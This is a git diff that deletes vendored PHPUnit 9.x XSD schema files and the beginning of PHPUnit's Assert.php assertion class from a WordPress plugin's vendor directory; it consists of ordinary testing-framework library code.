b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.1.xsd deleted file mode 100644 index b10d30b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.1.xsd +++ /dev/null @@ -1,317 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 9.0 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.2.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.2.xsd deleted file mode 100644 index d770e8b0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.2.xsd +++ /dev/null @@ -1,317 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 9.2 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.3.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.3.xsd deleted file mode 100644 index 638f663a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.3.xsd +++ /dev/null @@ -1,327 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 9.3 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.4.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.4.xsd deleted file mode 100644 index 75a91e83..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.4.xsd +++ /dev/null @@ -1,328 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 9.4 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.5.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.5.xsd deleted file mode 100644 index eabefac3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/schema/9.5.xsd +++ /dev/null @@ -1,330 +0,0 @@ - - - - - This Schema file defines the rules by which the XML configuration file of PHPUnit 9.5 may be structured. - - - - - - Root Element - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The main type specifying the document structure - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Exception.php deleted file mode 100644 index 4e7c3335..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit; - -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert.php deleted file mode 100644 index ea8f17d2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Assert.php +++ /dev/null @@ -1,2963 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const DEBUG_BACKTRACE_IGNORE_ARGS; -use const PHP_EOL; -use function array_shift; -use function array_unshift; -use function assert; -use function class_exists; -use function count; -use function debug_backtrace; -use function explode; -use function file_get_contents; -use function func_get_args; -use function implode; -use function interface_exists; -use function is_array; -use function is_bool; -use function is_int; -use function is_iterable; -use function is_object; -use function is_string; -use function preg_match; -use function preg_split; -use function sprintf; -use function strpos; -use ArrayAccess; -use Countable; -use DOMAttr; -use DOMDocument; -use DOMElement; -use Generator; -use PHPUnit\Framework\Constraint\ArrayHasKey; -use PHPUnit\Framework\Constraint\Callback; -use PHPUnit\Framework\Constraint\ClassHasAttribute; -use PHPUnit\Framework\Constraint\ClassHasStaticAttribute; -use PHPUnit\Framework\Constraint\Constraint; -use PHPUnit\Framework\Constraint\Count; -use PHPUnit\Framework\Constraint\DirectoryExists; -use PHPUnit\Framework\Constraint\FileExists; -use PHPUnit\Framework\Constraint\GreaterThan; -use PHPUnit\Framework\Constraint\IsAnything; -use PHPUnit\Framework\Constraint\IsEmpty; -use PHPUnit\Framework\Constraint\IsEqual; -use PHPUnit\Framework\Constraint\IsEqualCanonicalizing; -use PHPUnit\Framework\Constraint\IsEqualIgnoringCase; -use PHPUnit\Framework\Constraint\IsEqualWithDelta; -use PHPUnit\Framework\Constraint\IsFalse; -use PHPUnit\Framework\Constraint\IsFinite; -use PHPUnit\Framework\Constraint\IsIdentical; -use PHPUnit\Framework\Constraint\IsInfinite; -use PHPUnit\Framework\Constraint\IsInstanceOf; -use PHPUnit\Framework\Constraint\IsJson; -use PHPUnit\Framework\Constraint\IsNan; -use PHPUnit\Framework\Constraint\IsNull; -use PHPUnit\Framework\Constraint\IsReadable; -use PHPUnit\Framework\Constraint\IsTrue; -use PHPUnit\Framework\Constraint\IsType; -use PHPUnit\Framework\Constraint\IsWritable; -use PHPUnit\Framework\Constraint\JsonMatches; -use PHPUnit\Framework\Constraint\LessThan; -use PHPUnit\Framework\Constraint\LogicalAnd; -use PHPUnit\Framework\Constraint\LogicalNot; -use PHPUnit\Framework\Constraint\LogicalOr; -use PHPUnit\Framework\Constraint\LogicalXor; -use PHPUnit\Framework\Constraint\ObjectEquals; -use PHPUnit\Framework\Constraint\ObjectHasAttribute; -use PHPUnit\Framework\Constraint\ObjectHasProperty; -use PHPUnit\Framework\Constraint\RegularExpression; -use PHPUnit\Framework\Constraint\SameSize; -use PHPUnit\Framework\Constraint\StringContains; -use PHPUnit\Framework\Constraint\StringEndsWith; -use PHPUnit\Framework\Constraint\StringMatchesFormatDescription; -use PHPUnit\Framework\Constraint\StringStartsWith; -use PHPUnit\Framework\Constraint\TraversableContainsEqual; -use PHPUnit\Framework\Constraint\TraversableContainsIdentical; -use PHPUnit\Framework\Constraint\TraversableContainsOnly; -use PHPUnit\Util\Type; -use PHPUnit\Util\Xml; -use PHPUnit\Util\Xml\Loader as XmlLoader; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -abstract class Assert -{ - /** - * @var int - */ - private static $count = 0; - - /** - * Asserts that an array has a specified key. - * - * @param int|string $key - * @param array|ArrayAccess $array - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertArrayHasKey($key, $array, string $message = ''): void - { - if (!(is_int($key) || is_string($key))) { - throw InvalidArgumentException::create( - 1, - 'integer or string', - ); - } - - if (!(is_array($array) || $array instanceof ArrayAccess)) { - throw InvalidArgumentException::create( - 2, - 'array or ArrayAccess', - ); - } - - $constraint = new ArrayHasKey($key); - - static::assertThat($array, $constraint, $message); - } - - /** - * Asserts that an array does not have a specified key. - * - * @param int|string $key - * @param array|ArrayAccess $array - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertArrayNotHasKey($key, $array, string $message = ''): void - { - if (!(is_int($key) || is_string($key))) { - throw InvalidArgumentException::create( - 1, - 'integer or string', - ); - } - - if (!(is_array($array) || $array instanceof ArrayAccess)) { - throw InvalidArgumentException::create( - 2, - 'array or ArrayAccess', - ); - } - - $constraint = new LogicalNot( - new ArrayHasKey($key), - ); - - static::assertThat($array, $constraint, $message); - } - - /** - * Asserts that a haystack contains a needle. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertContains($needle, iterable $haystack, string $message = ''): void - { - $constraint = new TraversableContainsIdentical($needle); - - static::assertThat($haystack, $constraint, $message); - } - - public static function assertContainsEquals($needle, iterable $haystack, string $message = ''): void - { - $constraint = new TraversableContainsEqual($needle); - - static::assertThat($haystack, $constraint, $message); - } - - /** - * Asserts that a haystack does not contain a needle. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertNotContains($needle, iterable $haystack, string $message = ''): void - { - $constraint = new LogicalNot( - new TraversableContainsIdentical($needle), - ); - - static::assertThat($haystack, $constraint, $message); - } - - public static function assertNotContainsEquals($needle, iterable $haystack, string $message = ''): void - { - $constraint = new LogicalNot(new TraversableContainsEqual($needle)); - - static::assertThat($haystack, $constraint, $message); - } - - /** - * Asserts that a haystack contains only values of a given type. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void - { - if ($isNativeType === null) { - $isNativeType = Type::isType($type); - } - - static::assertThat( - $haystack, - new TraversableContainsOnly( - $type, - $isNativeType, - ), - $message, - ); - } - - /** - * Asserts that a haystack contains only instances of a given class name. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertContainsOnlyInstancesOf(string $className, iterable $haystack, string $message = ''): void - { - static::assertThat( - $haystack, - new TraversableContainsOnly( - $className, - false, - ), - $message, - ); - } - - /** - * Asserts that a haystack does not contain only values of a given type. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertNotContainsOnly(string $type, iterable $haystack, ?bool $isNativeType = null, string $message = ''): void - { - if ($isNativeType === null) { - $isNativeType = Type::isType($type); - } - - static::assertThat( - $haystack, - new LogicalNot( - new TraversableContainsOnly( - $type, - $isNativeType, - ), - ), - $message, - ); - } - - /** - * Asserts the number of elements of an array, Countable or Traversable. - * - * @param Countable|iterable $haystack - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertCount(int $expectedCount, $haystack, string $message = ''): void - { - if ($haystack instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $haystack parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - if (!$haystack instanceof Countable && !is_iterable($haystack)) { - throw InvalidArgumentException::create(2, 'countable or iterable'); - } - - static::assertThat( - $haystack, - new Count($expectedCount), - $message, - ); - } - - /** - * Asserts the number of elements of an array, Countable or Traversable. - * - * @param Countable|iterable $haystack - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertNotCount(int $expectedCount, $haystack, string $message = ''): void - { - if ($haystack instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $haystack parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - if (!$haystack instanceof Countable && !is_iterable($haystack)) { - throw InvalidArgumentException::create(2, 'countable or iterable'); - } - - $constraint = new LogicalNot( - new Count($expectedCount), - ); - - static::assertThat($haystack, $constraint, $message); - } - - /** - * Asserts that two variables are equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertEquals($expected, $actual, string $message = ''): void - { - $constraint = new IsEqual($expected); - - static::assertThat($actual, $constraint, $message); - } - - /** - * Asserts that two variables are equal (canonicalizing). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertEqualsCanonicalizing($expected, $actual, string $message = ''): void - { - $constraint = new IsEqualCanonicalizing($expected); - - static::assertThat($actual, $constraint, $message); - } - - /** - * Asserts that two variables are equal (ignoring case). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertEqualsIgnoringCase($expected, $actual, string $message = ''): void - { - $constraint = new IsEqualIgnoringCase($expected); - - static::assertThat($actual, $constraint, $message); - } - - /** - * Asserts that two variables are equal (with delta). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void - { - $constraint = new IsEqualWithDelta( - $expected, - $delta, - ); - - static::assertThat($actual, $constraint, $message); - } - - /** - * Asserts that two variables are not equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertNotEquals($expected, $actual, string $message = ''): void - { - $constraint = new LogicalNot( - new IsEqual($expected), - ); - - static::assertThat($actual, $constraint, $message); - } - - /** - * Asserts that two variables are not equal (canonicalizing). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertNotEqualsCanonicalizing($expected, $actual, string $message = ''): void - { - $constraint = new LogicalNot( - new IsEqualCanonicalizing($expected), - ); - - static::assertThat($actual, $constraint, $message); - } - - /** - * Asserts that two variables are not equal (ignoring case). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertNotEqualsIgnoringCase($expected, $actual, string $message = ''): void - { - $constraint = new LogicalNot( - new IsEqualIgnoringCase($expected), - ); - - static::assertThat($actual, $constraint, $message); - } - - /** - * Asserts that two variables are not equal (with delta). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertNotEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void - { - $constraint = new LogicalNot( - new IsEqualWithDelta( - $expected, - $delta, - ), - ); - - static::assertThat($actual, $constraint, $message); - } - - /** - * @throws ExpectationFailedException - */ - public static function assertObjectEquals(object $expected, object $actual, string $method = 'equals', string $message = ''): void - { - static::assertThat( - $actual, - static::objectEquals($expected, $method), - $message, - ); - } - - /** - * Asserts that a variable is empty. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert empty $actual - */ - public static function assertEmpty($actual, string $message = ''): void - { - if ($actual instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $actual parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - static::assertThat($actual, static::isEmpty(), $message); - } - - /** - * Asserts that a variable is not empty. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !empty $actual - */ - public static function assertNotEmpty($actual, string $message = ''): void - { - if ($actual instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $actual parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - static::assertThat($actual, static::logicalNot(static::isEmpty()), $message); - } - - /** - * Asserts that a value is greater than another value. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertGreaterThan($expected, $actual, string $message = ''): void - { - static::assertThat($actual, static::greaterThan($expected), $message); - } - - /** - * Asserts that a value is greater than or equal to another value. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertGreaterThanOrEqual($expected, $actual, string $message = ''): void - { - static::assertThat( - $actual, - static::greaterThanOrEqual($expected), - $message, - ); - } - - /** - * Asserts that a value is smaller than another value. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertLessThan($expected, $actual, string $message = ''): void - { - static::assertThat($actual, static::lessThan($expected), $message); - } - - /** - * Asserts that a value is smaller than or equal to another value. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertLessThanOrEqual($expected, $actual, string $message = ''): void - { - static::assertThat($actual, static::lessThanOrEqual($expected), $message); - } - - /** - * Asserts that the contents of one file is equal to the contents of another - * file. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileEquals(string $expected, string $actual, string $message = ''): void - { - static::assertFileExists($expected, $message); - static::assertFileExists($actual, $message); - - $constraint = new IsEqual(file_get_contents($expected)); - - static::assertThat(file_get_contents($actual), $constraint, $message); - } - - /** - * Asserts that the contents of one file is equal to the contents of another - * file (canonicalizing). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void - { - static::assertFileExists($expected, $message); - static::assertFileExists($actual, $message); - - $constraint = new IsEqualCanonicalizing( - file_get_contents($expected), - ); - - static::assertThat(file_get_contents($actual), $constraint, $message); - } - - /** - * Asserts that the contents of one file is equal to the contents of another - * file (ignoring case). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void - { - static::assertFileExists($expected, $message); - static::assertFileExists($actual, $message); - - $constraint = new IsEqualIgnoringCase(file_get_contents($expected)); - - static::assertThat(file_get_contents($actual), $constraint, $message); - } - - /** - * Asserts that the contents of one file is not equal to the contents of - * another file. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileNotEquals(string $expected, string $actual, string $message = ''): void - { - static::assertFileExists($expected, $message); - static::assertFileExists($actual, $message); - - $constraint = new LogicalNot( - new IsEqual(file_get_contents($expected)), - ); - - static::assertThat(file_get_contents($actual), $constraint, $message); - } - - /** - * Asserts that the contents of one file is not equal to the contents of another - * file (canonicalizing). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileNotEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void - { - static::assertFileExists($expected, $message); - static::assertFileExists($actual, $message); - - $constraint = new LogicalNot( - new IsEqualCanonicalizing(file_get_contents($expected)), - ); - - static::assertThat(file_get_contents($actual), $constraint, $message); - } - - /** - * Asserts that the contents of one file is not equal to the contents of another - * file (ignoring case). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileNotEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void - { - static::assertFileExists($expected, $message); - static::assertFileExists($actual, $message); - - $constraint = new LogicalNot( - new IsEqualIgnoringCase(file_get_contents($expected)), - ); - - static::assertThat(file_get_contents($actual), $constraint, $message); - } - - /** - * Asserts that the contents of a string is equal - * to the contents of a file. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringEqualsFile(string $expectedFile, string $actualString, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - - $constraint = new IsEqual(file_get_contents($expectedFile)); - - static::assertThat($actualString, $constraint, $message); - } - - /** - * Asserts that the contents of a string is equal - * to the contents of a file (canonicalizing). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - - $constraint = new IsEqualCanonicalizing(file_get_contents($expectedFile)); - - static::assertThat($actualString, $constraint, $message); - } - - /** - * Asserts that the contents of a string is equal - * to the contents of a file (ignoring case). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - - $constraint = new IsEqualIgnoringCase(file_get_contents($expectedFile)); - - static::assertThat($actualString, $constraint, $message); - } - - /** - * Asserts that the contents of a string is not equal - * to the contents of a file. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringNotEqualsFile(string $expectedFile, string $actualString, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - - $constraint = new LogicalNot( - new IsEqual(file_get_contents($expectedFile)), - ); - - static::assertThat($actualString, $constraint, $message); - } - - /** - * Asserts that the contents of a string is not equal - * to the contents of a file (canonicalizing). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringNotEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - - $constraint = new LogicalNot( - new IsEqualCanonicalizing(file_get_contents($expectedFile)), - ); - - static::assertThat($actualString, $constraint, $message); - } - - /** - * Asserts that the contents of a string is not equal - * to the contents of a file (ignoring case). - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringNotEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void - { - static::assertFileExists($expectedFile, $message); - - $constraint = new LogicalNot( - new IsEqualIgnoringCase(file_get_contents($expectedFile)), - ); - - static::assertThat($actualString, $constraint, $message); - } - - /** - * Asserts that a file/dir is readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertIsReadable(string $filename, string $message = ''): void - { - static::assertThat($filename, new IsReadable, $message); - } - - /** - * Asserts that a file/dir exists and is not readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertIsNotReadable(string $filename, string $message = ''): void - { - static::assertThat($filename, new LogicalNot(new IsReadable), $message); - } - - /** - * Asserts that a file/dir exists and is not readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4062 - */ - public static function assertNotIsReadable(string $filename, string $message = ''): void - { - self::createWarning('assertNotIsReadable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertIsNotReadable() instead.'); - - static::assertThat($filename, new LogicalNot(new IsReadable), $message); - } - - /** - * Asserts that a file/dir exists and is writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertIsWritable(string $filename, string $message = ''): void - { - static::assertThat($filename, new IsWritable, $message); - } - - /** - * Asserts that a file/dir exists and is not writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertIsNotWritable(string $filename, string $message = ''): void - { - static::assertThat($filename, new LogicalNot(new IsWritable), $message); - } - - /** - * Asserts that a file/dir exists and is not writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4065 - */ - public static function assertNotIsWritable(string $filename, string $message = ''): void - { - self::createWarning('assertNotIsWritable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertIsNotWritable() instead.'); - - static::assertThat($filename, new LogicalNot(new IsWritable), $message); - } - - /** - * Asserts that a directory exists. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertDirectoryExists(string $directory, string $message = ''): void - { - static::assertThat($directory, new DirectoryExists, $message); - } - - /** - * Asserts that a directory does not exist. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertDirectoryDoesNotExist(string $directory, string $message = ''): void - { - static::assertThat($directory, new LogicalNot(new DirectoryExists), $message); - } - - /** - * Asserts that a directory does not exist. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4068 - */ - public static function assertDirectoryNotExists(string $directory, string $message = ''): void - { - self::createWarning('assertDirectoryNotExists() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDirectoryDoesNotExist() instead.'); - - static::assertThat($directory, new LogicalNot(new DirectoryExists), $message); - } - - /** - * Asserts that a directory exists and is readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertDirectoryIsReadable(string $directory, string $message = ''): void - { - self::assertDirectoryExists($directory, $message); - self::assertIsReadable($directory, $message); - } - - /** - * Asserts that a directory exists and is not readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertDirectoryIsNotReadable(string $directory, string $message = ''): void - { - self::assertDirectoryExists($directory, $message); - self::assertIsNotReadable($directory, $message); - } - - /** - * Asserts that a directory exists and is not readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4071 - */ - public static function assertDirectoryNotIsReadable(string $directory, string $message = ''): void - { - self::createWarning('assertDirectoryNotIsReadable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDirectoryIsNotReadable() instead.'); - - self::assertDirectoryExists($directory, $message); - self::assertIsNotReadable($directory, $message); - } - - /** - * Asserts that a directory exists and is writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertDirectoryIsWritable(string $directory, string $message = ''): void - { - self::assertDirectoryExists($directory, $message); - self::assertIsWritable($directory, $message); - } - - /** - * Asserts that a directory exists and is not writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertDirectoryIsNotWritable(string $directory, string $message = ''): void - { - self::assertDirectoryExists($directory, $message); - self::assertIsNotWritable($directory, $message); - } - - /** - * Asserts that a directory exists and is not writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4074 - */ - public static function assertDirectoryNotIsWritable(string $directory, string $message = ''): void - { - self::createWarning('assertDirectoryNotIsWritable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDirectoryIsNotWritable() instead.'); - - self::assertDirectoryExists($directory, $message); - self::assertIsNotWritable($directory, $message); - } - - /** - * Asserts that a file exists. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileExists(string $filename, string $message = ''): void - { - static::assertThat($filename, new FileExists, $message); - } - - /** - * 